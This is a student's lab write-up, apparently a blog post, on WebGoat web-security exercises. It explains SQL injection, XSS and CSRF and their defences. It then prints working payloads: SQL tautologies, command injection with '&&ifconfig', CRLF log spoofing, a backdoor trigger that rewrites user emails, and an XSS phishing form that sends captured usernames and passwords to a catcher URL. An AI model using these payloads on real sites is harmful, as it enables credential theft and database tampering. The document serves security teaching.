20145218张晓涵 web安全基础实践
20145218张晓涵 web安全基础实践
1.实验后回答问题
SQL注入攻击原理,如何防御
- SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- SQL注入一般分为普通注入和盲注。
- 普通注入:后台数据库会回显有价值的提示信息,通过这些可能的报错信息可以更容易地进行注入,适合新手入门训练。
- 盲注:后台管理员在给出错误页面时,没有提供详细错误信息。攻击者需要运用脚本通过仅有的判断信息(比如时间差)对表中的每一个字段进行探测,从而实现注入。
- 防御:对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
XSS攻击的原理,如何防御
- 攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
- 浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
CSRF攻击原理,如何防御
- CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情
- 通过 referer、token 或者 验证码 来检测用户提交。尽量不要在页面的链接中暴露用户隐私信息。对于用户修改删除等操作最好都使用post 操作 。避免全站通用的cookie,严格设置cookie的域。
实验感想
这次实验确实学到了很多东西,也很有意思,但是电脑很卡!逐渐掌握了一点点套路以后还以为能快一点,结果点个burpsuite都要半天。这次先做了11个还想多做几个,但是时间不够了可以先发表博客。
实践过程
webgoat开启
输入
java -jar webgoat-container-7.0.1-war-exec.jar
,
在浏览器输入localhost:8080/WebGoat,进入webgoat
SQL字符串注入(String SQL Injection)
- 让我们试一试使用SQL注入,从而显示出所有信用卡号。可以先输入Smith试一试,发现出现在
SELECT * FROM user_data WHERE last_name = 'Smith'
两个单引号中间,也就是我们可以通过控制在输入框中输入的字符串,达到控制select语句的目的。 - 输入
'or 1='1
,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1'
,这句的意思就是查询lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以成功通过。 图4
日志欺骗(Log Spoofing)
- 利用日志的格式,使用换行等字符,欺骗管理员:Use CR (%0d) and LF (%0a) for a new line。
- 比如输入
hh%0d%0aLogin Succeeded for username: admin
图5
Numeric SQL Injection
根据执行
SQLSELECT * FROM weather_data WHERE station = 101
,注入SQLSELECT * FROM weather_data WHERE station = 101 or 1=1
,修改属性值。使用burpsuite作为网页代理,对传送的网页内容进行编辑以后再发到服务器
修改station值从为101 为 101 or 1=1,点击GO,可以看到右边response包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1。 图7
回到火狐发现已经成功了 图6
Command Injection
- 点击view执行时使用了cmd.exe 直接运行dos指令。那么需要找到可以连接dos指令的符号。
- 可以使用“&”,命令连接符号,就是把两个命令连续执行,不用换行。用来分隔一个命令行中的多个命令。Cmd命令提示符先运行第一个命令,然后运行第二个命令。
- 或者&&,只有在符号“&&”前面的命令成功后,才运行该符号后面的命令。Cmd命令提示符先运行第一个命令,然后在第一个命令运行成功后才运行第二个命令。命令格式“command1 && command2”。
- 找到可注入部分,注入语句
AccessControlMatrix.help"&&ifconfig"
,成功 图8
Stage 1: String SQL Injection
很多网站密码验证都是 select * from User where username=''and password ='',在这里我们要在password = ''这里进行注入,理论上只要pwd = ' or 1=1 --。那么执行语句就被改成了:select * from User where username=''and password ='' or 1 = 1 --',这样就可以登陆任何用户了
但是我们在password栏里输入'or1=1--以后,感觉肯定要失败,毕竟密码栏里只能输入八位而我们连个空格都没有 图9
进行抓包查看,果然 图10
然后在密码栏上右键选择inspect Element,进行密码长度修改 修改密码.jpg 然后再输入' or 1=1 --,发现成功 图11
Stage 3: Numeric SQL Injection
首先登陆larry,方法跟上一个一模一样,先修改密码长度然后登陆 图12
题目要求是使用SQL注入来提权,来查找Neville的相关信息。ViewProfile可以浏览员工信息,可以通过抓包修改员工id,看看能不能找到其他人,但是发现还是larry啊
看html文件,地方数据库应该是以员工ID作为索引,返回的是每次查询到的第一条数据,用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下
112 or 1=1 order by salary desc --
,然后可以看到老板的信息 图15
Database Backdoors
可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址。
正常情况下在如下页面输入工号,进行查询一些信息 图21
后来发现客户端输入的查询语句没有在服务器端进行验证。 当我们输入如下代码时:101; update employee set salary=10000,服务器为我们执行了更新。图22
因此我们可以创建如下触发器,使没创建一个新用户的时候,自动为其填充为我们所希望的邮箱。101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='邮箱' WHERE userid = NEW.userid 图23
Phishing with XSS
在搜索框中输入XSS攻击代码,需要实现的目的有三个:一、插入请求认证的html;二、添加JavaScript来收集认真信息;三、将认真信息传递http://localhost:8080/WebGoat/catcher?PROPERTY=yes
我们输入任何内容,点击“Search”后会显示在左下角,图17
我们可以在输入栏里输入一个html代码,添加html认证信息,通过提交时将认证信息提交服务器。最终成功的代码为
</form><script>function hack()
{ XSSImage=new Image;
XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);}
</script>
<form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 成功了 图16
Reflected XSS Attacks
在相应信息栏输入包含URL值的内容,使当前页面跳转到另一个(指定)网页,或者当用户点击purchase的时候跳出恶意信息。
首先要弄清楚在哪个栏中输入可以干扰网页。一个个的试呗,最后发现是最后一个框框,输入
<script>alert("5218says hello");</script>
,点击purchase,可以看到如下弹出的对话框 图18
也可以输入指定URL值(login.html是上次实验中编写的,存储在/var/www/html目录下):
<script>window.location.href="http://127.0.0.1:8088/login.html";</script>
图19
Stored XSS Attacks
- 利用脚本语言在网页中编写非法的留言内容,使得其他用户访问该页面的时候执行编写的脚本。
- 类似于在HTML文件中插入一段script执行脚本,在message栏中编写这段script就可以。我是只写了一句alert,
<script>alert("attacked by zxh");</script>
图20
Cross Site Request Forgery (CSRF)
原理:
- 用户登录可信任的网站A(存在缺陷的交易网站);
- 网站A返回登录session信息并将session存储在本地cookie;
- 用户访问其他网站B(论坛、好友发送页面),网站B中包含执行网站A相关操作的请求操作(转账URL、退款URL)并且能够直接执行;
- 网站B页面加载过程中携带网站A的cookie将请求发送到网站A的服务器;
- 网站A服务器根据请求校验用户信息后执行具体操作(资金损失),从而达到了模拟用户在网站A的相关操作使用户或者网站A遭受伤害或损失。
在message里面输入,来构造邮件
查看刚刚的邮件
成功小列表
20145218张晓涵 web安全基础实践的更多相关文章
- 20145218张晓涵_Exp5 MSF基础应用
20145218张晓涵_Exp5 MSF基础应用 实验原理 MS08-067漏洞描述 MS08-067漏洞的全称为"Windows Server服务RPC请求缓冲区溢出漏洞",如果 ...
- 20145218张晓涵_Web基础
20145218张晓涵_Web基础 基础知识 Apache一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一.它快速.可靠并且 ...
- 20145218张晓涵 PC平台逆向破解_advanced
---恢复内容开始--- 20145218张晓涵 PC平台逆向破解_advanced shellcode注入 基础知识 shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码 ...
- 20145302张薇 《网络对抗技术》 web安全基础实践
20145302张薇 <网络对抗技术> web安全基础实践 实验问题回答 1.SQL注入攻击原理,如何防御 原理:攻击者把SQL命令插入到网页的各种查询字符串处,达到欺骗服务器执行恶意的S ...
- 20145336 张子扬 《网络对抗技术》 web安全基础实践
2014536 张子扬<网络攻防>Exp9 Web安全基础实践 实验准备 开启webgoat 1)开启webgoat,打开WebGoat: java -jar webgoat-contai ...
- 20145204张亚军——web安全基础实践
web安全基础实践 实验后回答问题 1.SQL注入原理,如何防御 SQL注入:就是通过把SQL命令插入到"Web表单递交"或"输入域名"或"页面请求& ...
- 20155324《网络对抗技术》web安全基础实践
20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145325张梓靖 《网络对抗技术》 Web安全基础实践
20145325张梓靖 <网络对抗技术> Web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Ref ...
随机推荐
- 关于OpenGL Framebuffer Object、glReadPixels与离屏渲染
最近写论文需要用到离屏渲染(主要是因为模型太大普通窗口绘制根本做不了),于是翻阅了红宝书查了下相关api和用法.中文版的红宝书可读性有点差,很多地方翻译地晦涩,但好歹读起来比较快,主要相关章节为第8章 ...
- 10分钟.Net Core 简单入门教程
以 Centos 为例 1.安装所需的依赖关系 打开命令提示符并运行以下命令: sudo rpm -Uvh https://packages.microsoft.com/config/rhel/7/p ...
- Python与Go插入排序
#!/usr/bin/env python # -*- coding: utf-8 -*- # 插入排序 # 时间复杂度 O(n^2) import time def logger(func): st ...
- boxing & unboxing
[boxing & unboxing] Boxing is the process of converting a value type to the type object or to an ...
- Transform & Physics
[Transform & Physics] 1.Space.Unity定义了Space枚举值,此值如下: 通常通过Space.World.Space.Self来区别一个Vector是按世界坐标 ...
- Gym101128F:Landscaping
题意 有一片h*w的草坪,要把每一行从左到右修剪一遍,每一列从上到下修剪一遍.每个草坪要么是高低要么是平地.割草机从高地到平地或者从平地到高地,需要花费a.也可以把平地变为高地或者把高地变为平地,花费 ...
- MongoDB 数组操作
$push:向文档数组中添加元素,如果没有该数组,则自动添加数组.db.users.insert({"name":"zhang"})db.users.updat ...
- Cisco VPP启动流程
Cisco VPP启动流程,有需要的朋友可以参考一下. VPP初始化 VLIB_INIT_FUNCTION用来定义构造函数,注册函数到vlib_main_t->init_function_reg ...
- Git回滚到历史节点(SourceTree篇)
转自:http://blog.csdn.net/u010416101/article/details/78142697.https://www.zhihu.com/question/48178380 ...
- c++对象模型是什么,对象的内存布局和结构问题
在c++发明的初期对于c++对象模型的争论从来没有停止过直到标准委员会通过了最终的c++对象模型这件事情才变得尘埃落定.C++对象模型可能是最不需要去解释的,但是又是不得不去说的因为c++的入门最先接 ...